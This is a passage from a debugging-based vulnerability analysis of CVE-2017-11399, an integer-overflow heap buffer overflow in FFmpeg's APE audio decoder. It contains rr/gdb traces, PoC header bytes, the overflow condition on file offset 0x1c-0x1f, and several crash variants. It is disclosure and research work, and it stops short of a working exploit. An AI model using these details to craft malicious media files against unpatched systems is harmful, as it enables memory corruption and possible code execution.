    avio_read (s=0xa678ae0, buf=0xa678b90 "\310\tg\n", size=2048) at src/libavformat/aviobuf.c:631
    631	{
    (rr) l
    626	        return *s->buf_ptr++;
    627	    return 0;
    628	}
    629	
    630	int avio_read(AVIOContext *s, unsigned char *buf, int size)
    631	{
    632	    int len, size1;
    633	
    634	    size1 = size;
    635	    while (size > 0) {
    (rr) n
    635	    while (size > 0) {
    (rr) n
    631	{
    (rr) n
    635	    while (size > 0) {
    (rr) n
    636	        len = FFMIN(s->buf_end - s->buf_ptr, size);
    (rr) p *s
    $25 = {av_class = 0x8cd73e0 <ff_avio_class>, buffer = 0xa670aa0 "", buffer_size = 32768, buf_ptr = 0xa670aa0 "", buf_end = 0xa670aa0 "", 
    opaque = 0xa6709c0, read_packet = 0x8231ca0 <io_read_packet>, write_packet = 0x8231c90 <io_write_packet>, seek = 0x8231c80 <io_seek>, 
    pos = 0, must_flush = 0, eof_reached = 0, write_flag = 0, max_packet_size = 0, checksum = 0, checksum_ptr = 0x0, update_checksum = 0x0, 
    error = 0, read_pause = 0x8231b80 <io_read_pause>, read_seek = 0x8231bb0 <io_read_seek>, seekable = 1, maxsize = 0, direct = 0, 
    bytes_read = 0, seek_count = 0, writeout_count = 0, orig_buffer_size = 32768, short_seek_threshold = 4096, 
    protocol_whitelist = 0xa678ad0 "file,crypto", protocol_blacklist = 0x0, write_data_type = 0x0, ignore_boundary_point = 0, 
    current_type = AVIO_DATA_MARKER_UNKNOWN, last_time = -9223372036854775808, short_seek_get = 0x8231c70 <io_short_seek>, written = 0, 
    buf_ptr_max = 0xa670aa0 "", min_packet_size = 0}
    (rr) n
    637	        if (len == 0 || s->write_flag) {
    (rr) p len
    $26 = 0
    (rr) x/16b s->buffer
    0xa670aa0:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
    0xa670aa8:	0x00	0x00	0x00	0x00	0x59	0x05	0x02	0x00
    (rr) x/32b s->buffer
    0xa670aa0:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
    0xa670aa8:	0x00	0x00	0x00	0x00	0x59	0x05	0x02	0x00
    0xa670ab0:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
    0xa670ab8:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
    (rr) n
    638	            if((s->direct || size > s->buffer_size) && !s->update_checksum) {
    (rr) n
    660	                fill_buffer(s);
    (rr) n
    662	                if (len == 0)
    (rr) n
    636	        len = FFMIN(s->buf_end - s->buf_ptr, size);
    (rr) n
    637	        if (len == 0 || s->write_flag) {
    (rr) n
    666	            memcpy(buf, s->buf_ptr, len);
    (rr) x/32b s->buf_ptr
    0xa670aa0:	0x4d	0x41	0x43	0x20	0x40	0x0f	0xe8	0x03
    0xa670aa8:	0x00	0x00	0x01	0x00	0x00	0x00	0x00	0x00
    0xa670ab0:	0x2c	0x00	0x00	0x00	0x00	0x00	0x00	0x00
    0xa670ab8:	0x01	0x00	0x00	0x00	0x10	0xb1	0x02	0x20
    (rr) watch -l s->buf_ptr[29]
    Hardware watchpoint 16: -location s->buf_ptr[29]
    (rr) disable 14 15
    (rr) reverse-continue
    Continuing.

    Hardware watchpoint 16: -location s->buf_ptr[29]

    Old value = 177 '\261'
    New value = 0 '\000'
    0xb76e3af4 in ?? () from /usr/bin/../lib/librrpreload.so
    (rr) bt
    #0  0xb76e3af4 in ?? () from /usr/bin/../lib/librrpreload.so
    #1  0xb76e4b48 in ?? () from /usr/bin/../lib/librrpreload.so
    #2  0xb74e5053 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84
    #3  0x08381a33 in read (__nbytes=<optimized out>, __buf=0xa670aa0, __fd=<optimized out>) at /usr/include/i386-linux-gnu/bits/unistd.h:44
    #4  file_read (h=0xa6708e0, buf=0xa670aa0 "MAC @\017\350\003", size=<optimized out>) at src/libavformat/file.c:112
    #5  0x0822fab0 in retry_transfer_wrapper (transfer_func=0x8381a10 <file_read>, size_min=1, size=32768, buf=0xa670aa0 "MAC @\017\350\003", 
    h=0xa6708e0) at src/libavformat/avio.c:378
    #6  ffurl_read (h=0xa6708e0, buf=0xa670aa0 "MAC @\017\350\003", size=32768) at src/libavformat/avio.c:411
    #7  0x08235fa4 in fill_buffer (s=0xa678ae0) at src/libavformat/aviobuf.c:566
    #8  avio_read (s=0xa678ae0, buf=0xa678b90 "\310\tg\n", size=2048) at src/libavformat/aviobuf.c:660
    #9  0x0825ee6a in av_probe_input_buffer2 (pb=0xa678ae0, fmt=0xa670204, 
    filename=0xbfb1a18e "../build-clang-asan-debug-hash/samples/50baca3f8895a3fa0f51e553373be6b0-varas_ra-crash.zip/id_000106,sig_06,src_051941,op_havoc,rep_16.mp4", logctx=0xa670200, offset=0, max_probe_size=1048576) at src/libavformat/format.c:314
    #10 0x08360650 in init_input (options=0xbfb15c10, 
    filename=0xbfb1a18e "../build-clang-asan-debug-hash/samples/50baca3f8895a3fa0f51e553373be6b0-varas_ra-crash.zip/id_000106,sig_06,src_051941,op_havoc,rep_16.mp4", s=0xa670200) at src/libavformat/utils.c:421
    #11 avformat_open_input (ps=0xbfb15ca8, 
    filename=0xbfb1a18e "../build-clang-asan-debug-hash/samples/50baca3f8895a3fa0f51e553373be6b0-varas_ra-crash.zip/id_000106,sig_06,src_051941,op_havoc,rep_16.mp4", fmt=0x0, options=0xa6700ac) at src/libavformat/utils.c:537
    #12 0x080d2e17 in open_input_file (o=o@entry=0xbfb15dbc, filename=<optimized out>) at src/ffmpeg_opt.c:1042
    #13 0x080d44ed in open_files (l=0xa67002c, l=0xa67002c, open_file=0x80d1450 <open_input_file>, inout=0x8d0605e "input")
    at src/ffmpeg_opt.c:3258
    #14 ffmpeg_parse_options (argc=7, argv=0xbfb17fc4) at src/ffmpeg_opt.c:3298
    #15 0x080c2fc9 in main (argc=7, argv=0xbfb17fc4) at src/ffmpeg.c:4803
    (rr) break file_read
    Breakpoint 17 at 0x8381a10: file src/libavformat/file.c, line 108.
    (rr) disable 16
    (rr) reverse-continue
    Continuing.

    Breakpoint 17, file_read (h=0xa6708e0, buf=0xa670aa0 "", size=32768) at src/libavformat/file.c:108
    108	{
    (rr) l
    103	    .option     = pipe_options,
    104	    .version    = LIBAVUTIL_VERSION_INT,
    105	};
    106	
    107	static int file_read(URLContext *h, unsigned char *buf, int size)
    108	{
    109	    FileContext *c = h->priv_data;
    110	    int ret;
    111	    size = FFMIN(size, c->blocksize);
    112	    ret = read(c->fd, buf, size);
    (rr) x/32b buf
    0xa670aa0:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
    0xa670aa8:	0x00	0x00	0x00	0x00	0x59	0x05	0x02	0x00
    0xa670ab0:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
    0xa670ab8:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
    (rr) n
    109	    FileContext *c = h->priv_data;
    (rr) n
    108	{
    (rr) n
    109	    FileContext *c = h->priv_data;
    (rr) n
    112	    ret = read(c->fd, buf, size);
    (rr) n
    113	    if (ret == 0 && c->follow)
    (rr) x/32b buf
    0xa670aa0:	0x4d	0x41	0x43	0x20	0x40	0x0f	0xe8	0x03
    0xa670aa8:	0x00	0x00	0x01	0x00	0x00	0x00	0x00	0x00
    0xa670ab0:	0x2c	0x00	0x00	0x00	0x00	0x00	0x00	0x00
    0xa670ab8:	0x01	0x00	0x00	0x00	0x10	0xb1	0x02	0x20
    (rr) x/4dx buf+28
    0xa670abc:	0x10	0xb1	0x02	0x20
    (rr)

Finally, find avpkt->data[0:4] comes from the input file with offset 0x1c to 0x1f. The header of PoC file is like the following:

    @ HEADER OF POC FILE
    4D 41 43 20 40 0F E8 03 00 00 01 00 00 00 00 00
    2C 00 00 00 00 00 00 00 01 00 00 00 10 B1 02 20

So, we can control value of variable blockstodecode_ by modifying value at file offset 0x1c to 0x1f. So the related formula:

allocated size of ctx->decode[0] = X + X/16 +32

X = 2 * FFMIN(POC[0x1c:0x1f], 8) * 4 = 8 * ((POC[0x1c:0x1f]+8-1)&~(8-1))

the integer overflow condition is: POC[0x1c:0x1f] > 0x1ffffff9

Besides, file version (i.e. s->fileversion) comes from POC[0x04:0x05]

Now, we can control the size of buffer ctx->decoded[0] where out-of-bound-write happens. Next, what value can be out-of-bound writen into?

    Program received signal SIGSEGV, Segmentation fault.
    0x083a84ae in entropy_decode_mono_3900 (ctx=0xa672340, blockstodecode=<optimized out>) at src/libavcodec/apedec.c:671
    671	        *decoded0++ = ape_decode_value_3900(ctx, &ctx->riceY);
    (rr) l 
    666	static void entropy_decode_mono_3900(APEContext *ctx, int blockstodecode)
    667	{
    668	    int32_t *decoded0 = ctx->decoded[0];
    669	
    670	    while (blockstodecode--)
    671	        *decoded0++ = ape_decode_value_3900(ctx, &ctx->riceY);
    672	}
    673	
    674	static void entropy_decode_stereo_3900(APEContext *ctx, int blockstodecode)
    675	{
    (rr)

The values writen into buffer ctx->decoded[0] are the return values of function ape_decode_value_3900. ape_decode_value_3900 is used to decode the ape audio data, which means we can somewhat control the return value by controlling the APE raw data; i.e. we can somewhat control the values which are out-of-bound writen in. Here, I will not analyze this to exploit it.

Further Analysis

From the code defined in function ape_read_header at src/libavformat/ape.c:160, structure of ape file header can be inferenced as the following:

if fileversion < 3980:

    4D 41 43 20 40 0F E8 03 00 00 01 00 00 00 00 00
    2C 00 00 00 00 00 00 00 01 00 00 00 10 B1 02 20
0-3 4-5 6-7 8-9 10-11 12-15
Tag (4 bytes) FileVersion (2 bytes) CompressionType (2 bytes) FormatFlags (2 bytes) Channels (2 bytes) SampleRate (4 bytes)
WavHeaderLength (4 bytes) WavTailLength (4 bytes)   TotalFrames (4 bytes)   FinalFrameBlocks (4 bytes)

else:

    4D 41 43 20 8C 0F E8 03 00 00 01 00 00 00 00 00
    2C 00 00 00 00 00 00 00 01 00 00 00 10 B1 02 20
0-3 4-5 6-7 8-11 12-15
Tag (4 bytes) FileVersion (2 bytes) Padding1 (2 bytes) DescriptorLength (4 bytes) HeaderLength (4 bytes)
SeektableLength (4 bytes) WavHeaderLength (4 bytes)   AudioDataLength (4 bytes) AudioDataLength_High (4 bytes)

From code snippet in function ape_decode_frame:,

    @src/libavcodec/apedec.c:
    1511 if ((s->channels == 1) || (s->frameflags & APE_FRAMECODE_PSEUDO_STEREO))
    1512         ape_unpack_mono(s, blockstodecode);
    1513 else
    1514         ape_unpack_stereo(s, blockstodecode);

we know it may be possible to make crash happen in ape_unpack_stereo_XXXX serials function. In fact, it is. Even more, we can further control which mono_XXXX serial function or ape_unpack_stereo_YYYY serial function the similar crash happen in. The following are serveral similar crash call stack due to the same root cause:

crash in stereo_XXXX/mono_XXXX serial functions

PoC: out-of-bound-write-stereo-3900.ape

    Program received signal SIGSEGV, Segmentation fault.
    0x083a9476 in entropy_decode_stereo_3900 (ctx=0xa2ba320, blockstodecode=<optimized out>) at src/libavcodec/apedec.c:681
    681	        *decoded0++ = ape_decode_value_3900(ctx, &ctx->riceY);
    (rr) bt
    #0  0x083a9476 in entropy_decode_stereo_3900 (ctx=0xa2ba320, blockstodecode=<optimized out>) at src/libavcodec/apedec.c:681
    #1  0x083aa4f6 in ape_unpack_stereo (count=537033221, ctx=0xa2ba320) at src/libavcodec/apedec.c:1389
    #2  ape_decode_frame (avctx=0xa2b9400, data=0xa2b9fc0, got_frame_ptr=0xbfd03730, avpkt=0xbfd03738) at src/libavcodec/apedec.c:1514
    #3  0x083e8f16 in decode_simple_internal (avctx=avctx@entry=0xa2b9400, frame=frame@entry=0xa2b9fc0) at src/libavcodec/decode.c:417
    #4  0x083e9a11 in decode_simple_receive_frame (frame=<optimized out>, avctx=<optimized out>) at src/libavcodec/decode.c:620
    #5  decode_receive_frame_internal (frame=0xa2b9fc0, avctx=0xa2b9400) at src/libavcodec/decode.c:638
    #6  avcodec_send_packet (avctx=0xa2b9400, avpkt=0xbfd03828) at src/libavcodec/decode.c:678
    #7  0x083525ae in try_decode_frame (s=s@entry=0xa2b8200, st=st@entry=0xa2b8ba0, avpkt=avpkt@entry=0xbfd039c0, options=0xa2b9940)
    at src/libavformat/utils.c:3005
    #8  0x0835cbca in avformat_find_stream_info (ic=0xa2b8200, options=0xa2b9940) at src/libavformat/utils.c:3822
    #9  0x080d1907 in open_input_file (o=o@entry=0xbfd03cec, filename=<optimized out>) at src/ffmpeg_opt.c:1064
    #10 0x080d44ed in open_files (l=0xa2b802c, l=0xa2b802c, open_file=0x80d1450 <open_input_file>, inout=0x8d0605e "input")
    at src/ffmpeg_opt.c:3258
    #11 ffmpeg_parse_options (argc=7, argv=0xbfd05ef4) at src/ffmpeg_opt.c:3298
    #12 0x080c2fc9 in main (argc=7, argv=0xbfd05ef4) at src/ffmpeg.c:4803
    (rr)

PoC: out-of-bound-write-mono-0000.ape:

    Program received signal SIGSEGV, Segmentation fault.
    0x083a80df in decode_array_0000 (ctx=0xb169320, out=0xac684020, rice=<optimized out>, blockstodecode=1094993478, gb=<optimized out>)
    at src/libavcodec/apedec.c:612
    612	        out[i] = get_rice_ook(&ctx->gb, rice->k);
    (rr) bt
    #0  0x083a80df in decode_array_0000 (ctx=0xb169320, out=0xac684020, rice=<optimized out>, blockstodecode=1094993478, gb=<optimized out>)
    at src/libavcodec/apedec.c:612
    #1  0x083aa3aa in ape_unpack_mono (count=1094993478, ctx=0xb169320) at src/libavcodec/apedec.c:1366
    #2  ape_decode_frame (avctx=0xb168400, data=0xb168fc0, got_frame_ptr=0xbfb466e0, avpkt=0xbfb466e8) at src/libavcodec/apedec.c:1512
    #3  0x083e8f16 in decode_simple_internal (avctx=avctx@entry=0xb168400, frame=frame@entry=0xb168fc0) at src/libavcodec/decode.c:417
    #4  0x083e9a11 in decode_simple_receive_frame (frame=<optimized out>, avctx=<optimized out>) at src/libavcodec/decode.c:620
    #5  decode_receive_frame_internal (frame=0xb168fc0, avctx=0xb168400) at src/libavcodec/decode.c:638
    #6  avcodec_send_packet (avctx=0xb168400, avpkt=0xbfb467d8) at src/libavcodec/decode.c:678
    #7  0x083525ae in try_decode_frame (s=s@entry=0xb167200, st=st@entry=0xb167ba0, avpkt=avpkt@entry=0xbfb46970, options=0xb168940)
    at src/libavformat/utils.c:3005
    #8  0x0835cbca in avformat_find_stream_info (ic=0xb167200, options=0xb168940) at src/libavformat/utils.c:3822
    #9  0x080d1907 in open_input_file (o=o@entry=0xbfb46c9c, filename=<optimized out>) at src/ffmpeg_opt.c:1064
    #10 0x080d44ed in open_files (l=0xb16702c, l=0xb16702c, open_file=0x80d1450 <open_input_file>, inout=0x8d0605e "input")
    at src/ffmpeg_opt.c:3258
    #11 ffmpeg_parse_options (argc=7, argv=0xbfb48ea4) at src/ffmpeg_opt.c:3298
    #12 0x080c2fc9 in main (argc=7, argv=0xbfb48ea4) at src/ffmpeg.c:4803
    (rr)

PoC: out-of-bound-write-mono-3860.ape

    Program received signal SIGSEGV, Segmentation fault.
    0x083a6358 in entropy_decode_mono_3860 (ctx=0x9a2c320, blockstodecode=<optimized out>) at src/libavcodec/apedec.c:651
    651	        *decoded0++ = ape_decode_value_3860(ctx, &ctx->gb, &ctx->riceY);
    (gdb) bt
    #0  0x083a6358 in entropy_decode_mono_3860 (ctx=0x9a2c320, blockstodecode=<optimized out>) at src/libavcodec/apedec.c:651
    #1  0x083aa3aa in ape_unpack_mono (count=1090681536, ctx=0x9a2c320) at src/libavcodec/apedec.c:1366
    #2  ape_decode_frame (avctx=0x9a2b440, data=0x9a2bfe0, got_frame_ptr=0xbfffc850, avpkt=0xbfffc858) at src/libavcodec/apedec.c:1512
    #3  0x083e8f16 in decode_simple_internal (avctx=avctx@entry=0x9a2b440, frame=frame@entry=0x9a2bfe0) at src/libavcodec/decode.c:417
    #4  0x083e9a11 in decode_simple_receive_frame (frame=<optimized out>, avctx=<optimized out>) at src/libavcodec/decode.c:620
    #5  decode_receive_frame_internal (frame=0x9a2bfe0, avctx=0x9a2b440) at src/libavcodec/decode.c:638
    #6  avcodec_send_packet (avctx=0x9a2b440, avpkt=0xbfffc948) at src/libavcodec/decode.c:678
    #7  0x083525ae in try_decode_frame (s=s@entry=0x9a2a200, st=st@entry=0x9a2ac00, avpkt=avpkt@entry=0xbfffcae0, options=0x9a2b980)
    at src/libavformat/utils.c:3005
    #8  0x0835cbca in avformat_find_stream_info (ic=0x9a2a200, options=0x9a2b980) at src/libavformat/utils.c:3822
    #9  0x080d1907 in open_input_file (o=o@entry=0xbfffce0c, filename=<optimized out>) at src/ffmpeg_opt.c:1064
    #10 0x080d44ed in open_files (l=0x9a2a02c, l=0x9a2a02c, open_file=0x80d1450 <open_input_file>, inout=0x8d0605e "input")
    at src/ffmpeg_opt.c:3258
    #11 ffmpeg_parse_options (argc=7, argv=0xbffff014) at src/ffmpeg_opt.c:3298
    #12 0x080c2fc9 in main (argc=7, argv=0xbffff014) at src/ffmpeg.c:4803

PoC: out-of-bound-stereo-3860.ape:

    Program received signal SIGSEGV, Segmentation fault.
    0x083a654c in entropy_decode_stereo_3860 (ctx=0x9a2c300, blockstodecode=<optimized out>) at src/libavcodec/apedec.c:661
    661	        *decoded0++ = ape_decode_value_3860(ctx, &ctx->gb, &ctx->riceY);
    (gdb) bt
    #0  0x083a654c in entropy_decode_stereo_3860 (ctx=0x9a2c300, blockstodecode=<optimized out>) at src/libavcodec/apedec.c:661
    #1  0x083aa4f6 in ape_unpack_stereo (count=536870928, ctx=0x9a2c300) at src/libavcodec/apedec.c:1389
    #2  ape_decode_frame (avctx=0x9a2b420, data=0x9a2bfc0, got_frame_ptr=0xbfffc850, avpkt=0xbfffc858) at src/libavcodec/apedec.c:1514
    #3  0x083e8f16 in decode_simple_internal (avctx=avctx@entry=0x9a2b420, frame=frame@entry=0x9a2bfc0) at src/libavcodec/decode.c:417
    #4  0x083e9a11 in decode_simple_receive_frame (frame=<optimized out>, avctx=<optimized out>) at src/libavcodec/decode.c:620
    #5  decode_receive_frame_internal (frame=0x9a2bfc0, avctx=0x9a2b420) at src/libavcodec/decode.c:638
    #6  avcodec_send_packet (avctx=0x9a2b420, avpkt=0xbfffc948) at src/libavcodec/decode.c:678
    #7  0x083525ae in try_decode_frame (s=s@entry=0x9a2a200, st=st@entry=0x9a2abe0, avpkt=avpkt@entry=0xbfffcae0, options=0x9a2b960)
    at src/libavformat/utils.c:3005
    #8  0x0835cbca in avformat_find_stream_info (ic=0x9a2a200, options=0x9a2b960) at src/libavformat/utils.c:3822
    #9  0x080d1907 in open_input_file (o=o@entry=0xbfffce0c, filename=<optimized out>) at src/ffmpeg_opt.c:1064
    #10 0x080d44ed in open_files (l=0x9a2a02c, l=0x9a2a02c, open_file=0x80d1450 <open_input_file>, inout=0x8d0605e "input")
    at src/ffmpeg_opt.c:3258
    #11 ffmpeg_parse_options (argc=7, argv=0xbffff014) at src/ffmpeg_opt.c:3298
    #12 0x080c2fc9 in main (argc=7, argv=0xbffff014) at src/ffmpeg.c:4803

out-of-bound-read

In addition to out-of-bound-write, out-of-bound-read can also be triggered in some condition just like the following:

PoC: out-of-bound-read-mono-3800.ape:

    Program received signal SIGSEGV, Segmentation fault.
    predictor_decode_mono_3800 (ctx=<optimized out>, count=1073556167) at src/libavcodec/apedec.c:1017
    1017	            *decoded0 = filter_3800(p, *decoded0, 0, YDELAYA, YDELAYB,
    (gdb) bt
    #0  predictor_decode_mono_3800 (ctx=<optimized out>, count=1073556167) at src/libavcodec/apedec.c:1017
    #1  0x083aa3b4 in ape_unpack_mono (count=1073904320, ctx=0x9a2c300) at src/libavcodec/apedec.c:1369
    #2  ape_decode_frame (avctx=0x9a2b420, data=0x9a2bfc0, got_frame_ptr=0xbfffc860, avpkt=0xbfffc868) at src/libavcodec/apedec.c:1512
    #3  0x083e8f16 in decode_simple_internal (avctx=avctx@entry=0x9a2b420, frame=frame@entry=0x9a2bfc0) at src/libavcodec/decode.c:417
    #4  0x083e9a11 in decode_simple_receive_frame (frame=<optimized out>, avctx=<optimized out>) at src/libavcodec/decode.c:620
    #5  decode_receive_frame_internal (frame=0x9a2bfc0, avctx=0x9a2b420) at src/libavcodec/decode.c:638
    #6  avcodec_send_packet (avctx=0x9a2b420, avpkt=0xbfffc958) at src/libavcodec/decode.c:678
    #7  0x083525ae in try_decode_frame (s=s@entry=0x9a2a200, st=st@entry=0x9a2abe0, avpkt=avpkt@entry=0xbfffcaf0, options=0x9a2b960)
    at src/libavformat/utils.c:3005
    #8  0x0835cbca in avformat_find_stream_info (ic=0x9a2a200, options=0x9a2b960) at src/libavformat/utils.c:3822
    #9  0x080d1907 in open_input_file (o=o@entry=0xbfffce1c, filename=<optimized out>) at src/ffmpeg_opt.c:1064
    #10 0x080d44ed in open_files (l=0x9a2a02c, l=0x9a2a02c, open_file=0x80d1450 <open_input_file>, inout=0x8d0605e "input")
    at src/ffmpeg_opt.c:3258
    #11 ffmpeg_parse_options (argc=7, argv=0xbffff024) at src/ffmpeg_opt.c:3298
    #12 0x080c2fc9 in main (argc=7, argv=0xbffff024) at src/ffmpeg.c:4803
    (gdb)

PoC: out-of-bound-read-ape-decode-frame.ape:

    Program received signal SIGSEGV, Segmentation fault.
    ape_decode_frame (avctx=0x9a2b420, data=0x9a2bfc0, got_frame_ptr=0xbfffc860, avpkt=0xbfffc868) at src/libavcodec/apedec.c:1535
    1535	                *sample16++ = s->decoded[ch][i];
    (gdb) bt
    #0  ape_decode_frame (avctx=0x9a2b420, data=0x9a2bfc0, got_frame_ptr=0xbfffc860, avpkt=0xbfffc868) at src/libavcodec/apedec.c:1535
    #1  0x083e8f16 in decode_simple_internal (avctx=avctx@entry=0x9a2b420, frame=frame@entry=0x9a2bfc0) at src/libavcodec/decode.c:417
    #2  0x083e9a11 in decode_simple_receive_frame (frame=<optimized out>, avctx=<optimized out>) at src/libavcodec/decode.c:620
    #3  decode_receive_frame_internal (frame=0x9a2bfc0, avctx=0x9a2b420) at src/libavcodec/decode.c:638
    #4  avcodec_send_packet (avctx=0x9a2b420, avpkt=0xbfffc958) at src/libavcodec/decode.c:678
    #5  0x083525ae in try_decode_frame (s=s@entry=0x9a2a200, st=st@entry=0x9a2abe0, avpkt=avpkt@entry=0xbfffcaf0, options=0x9a2b960)
    at src/libavformat/utils.c:3005
    #6  0x0835cbca in avformat_find_stream_info (ic=0x9a2a200, options=0x9a2b960) at src/libavformat/utils.c:3822
    #7  0x080d1907 in open_input_file (o=o@entry=0xbfffce1c, filename=<optimized out>) at src/ffmpeg_opt.c:1064
    #8  0x080d44ed in open_files (l=0x9a2a02c, l=0x9a2a02c, open_file=0x80d1450 <open_input_file>, inout=0x8d0605e "input")
    at src/ffmpeg_opt.c:3258
    #9  ffmpeg_parse_options (argc=7, argv=0xbffff024) at src/ffmpeg_opt.c:3298
    #10 0x080c2fc9 in main (argc=7, argv=0xbffff024) at src/ffmpeg.c:4803

Conclusion

This is a heap-buffer-overflow (out-of-bound-write/read) vulnerability which is caused by an integer overflow:

@src/libavcodec/apedec.c:

1496 av_fast_malloc(&s->decoded_buffer, &s->decoded_size, 2 * FFALIGN(blockstodecode, 8) * sizeof(*s->decoded_buffer));

The allocated size of related buffer ctx->decoded[0] can be controlled by modifying input file bytes from offset 0x1c to 0x1f. Also, the values out-of-bound written into buffer ctx->decoded[0] can be somewhat controlled. This is to say, the vulnerability can cause Denial-of-Service and probably cause RCE. Besides, there are several vairants which has similar but different crash call stack due to the same root cause, which adds the possibility that this vulnerability can be exploited to achive RCE.

Status

The vulnerability has been assigned CVE-2017-11399 and the upstream has patched it.

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11399

CONFIRM:https://github.com/FFmpeg/FFmpeg/commit/ba4beaf6149f7241c8bd85fe853318c2f6837ad0